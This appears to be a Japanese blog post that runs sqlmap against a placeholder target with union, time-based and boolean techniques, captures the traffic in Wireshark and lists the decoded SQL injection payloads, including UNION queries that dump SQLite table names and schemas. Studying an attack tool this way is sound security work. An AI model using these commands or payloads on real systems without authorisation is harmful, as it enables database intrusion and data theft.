sqlmapのクエリー解析
sqlmapには、–techniqueフラグがあり、sqlインジェクションのパターンを以下のフラグで指定して実行することが出来る。詳しい説明は、こちら。
フラグ | 説明 |
---|---|
B | BooleanベースのブラインドSQLインジェクション |
E | ErrorベースのSQLインジェクション |
U | UnionベースのSQLインジェクション |
S | Stackedクエリー |
T | タイムベースのブラインドSQLインジェクション |
Q | Inlineクエリー |
対象のサーバーに上記のフラグ毎にsqlmapコマンドを投げて、実際に裏ではどの様なクエリーが投げられているかを確認する。
確認方法
sqlmapコマンドをフラグ毎に実行
今回は、「U」と「T」と「B」をためす。
#=> Uの場合の実行コマンド
$ sqlmap -u "http://URL?q=a" -p "q" --dbms=sqlite --level=3 --risk=2 --technique=U
#=> Tの場合の実行コマンド
$ sqlmap -u "http://URL?q=a" -p "q" --dbms=sqlite --level=3 --risk=2 --technique=T
#=> Bの場合の実行コマンド
$ sqlmap -u "http://URL?q=a" -p "q" --dbms=sqlite --level=3 --risk=2 --technique=B
WireSharkで、httpリクエストのキャプチャーして、jsonに保存する
上記コマンド実行ごとに、WireSharkでキャプチャーを保存する。また以下のフィルターを使用。
http.request.method == GET
json形式での保存方法は、「ファイル」から「エキスパートパケット解析」で、「JSON」を選択して、ファイル名を付けて保存。
jsonファイルから、クエリーの部分だけ抽出して、URLエンコーディングのデコード
$ cat <保存したファイル>.json | jq '.[]._source.layers.http."http.request.full_uri"' | sed 's/^.*\?q=//g' | sed 's/"$//g' | nkf --url-input
出力結果
こんな感じの行がたくさん出力される。それぞれ、本の最初の数行
■ Uの場合
a')) UNION ALL SELECT 71,71,71,71,71,71,CHAR(113,120,113,106,113)||JSON_GROUP_ARRAY(COALESCE(tbl_name,CHAR(32)))||CHAR(113,122,120,112,113),71,71 FROM sqlite_master WHERE type=CHAR(116,97,98,108,101)-- wADD
a')) UNION ALL SELECT 71,71,71,71,71,71,MAX(CHAR(113,120,113,106,113)||sql)||CHAR(113,122,120,112,113),71,71 FROM sqlite_master WHERE type=CHAR(116,97,98,108,101) AND tbl_name=CHAR(65,100,100,114,101,115,115,101,115)-- Djzy
a')) UNION ALL SELECT 71,71,71,71,71,71,MAX(CHAR(113,120,113,106,113)||sql)||CHAR(113,122,120,112,113),71,71 FROM sqlite_master WHERE type=CHAR(116,97,98,108,101) AND tbl_name=CHAR(73,109,97,103,101,67,97,112,116,99,104,97,115)-- dfYh
■ Bの場合
a"))))(,',.
a'UhyErw<'">UFPdiJ
a' AND 4301=5406-- udhS
a' AND 4539=4539-- DcSC
a') AND 3149=8415 AND ('JcOq'='JcOq
a') AND 4539=4539 AND ('dbNy'='dbNy
a')) AND 2525=3337 AND (('YlBm'='YlBm
a')) AND 4539=4539 AND (('HDBn'='HDBn
a'))) AND 6071=1179 AND ((('lBbO'='lBbO
a'))) AND 4539=4539 AND ((('TMvX'='TMvX
a' AND 3150=6440 AND 'xgxc'='xgxc
a' AND 4539=4539 AND 'PyVe'='PyVe
a') AND 6368=6255 AND ('nqkG' LIKE 'nqkG
a') AND 4539=4539 AND ('RQOx' LIKE 'RQOx
a')) AND 8590=6479 AND (('tZJl' LIKE 'tZJl
a')) AND 4539=4539 AND (('smra' LIKE 'smra
a%' AND 8194=4475 AND 'aZFX%'='aZFX
a%' AND 4539=4539 AND 'XmYh%'='XmYh
a%' AND 9167=4037 AND 'AxOV%'='AxOV
a%' AND 19=19 AND 'DzQa%'='DzQa
a%' AND 19=94 AND 'rIID%'='rIID
a%' AND 94=45 AND 'RtWm%'='RtWm
a%' AND 45=45 AND 'LXeJ%'='LXeJ
■ Tの場合
a' AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- vTcF
a') AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND ('fgqe'='fgqe
a')) AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (('JsPL'='JsPL
a'))) AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND ((('ZpvR'='ZpvR
a' AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'jeTB'='jeTB
a') AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND ('drzq' LIKE 'drzq
a')) AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (('Vitu' LIKE 'Vitu
a%' AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'IAZd%'='IAZd
a%' AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(000000000/2)))) AND 'IAZd%'='IAZd
a' AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'UZLi' LIKE 'UZLi
a' AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(000000000/2)))) AND 'UZLi' LIKE 'UZLi
a") AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND ("KCcs"="KCcs
a") AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(000000000/2)))) AND ("KCcs"="KCcs
a")) AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (("vlkL"="vlkL
a")) AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(000000000/2)))) AND (("vlkL"="vlkL
a" AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND "UHTn"="UHTn
a" AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(000000000/2)))) AND "UHTn"="UHTn
a") AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND ("KZwh" LIKE "KZwh
a") AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(000000000/2)))) AND ("KZwh" LIKE "KZwh
a" AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND "ZAPB" LIKE "ZAPB
a" AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(000000000/2)))) AND "ZAPB" LIKE "ZAPB
a' AND 3642=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) OR 'Exgg'='maws
魚拓が取れたので、今後ゆっくり何をしているのかを解析していく。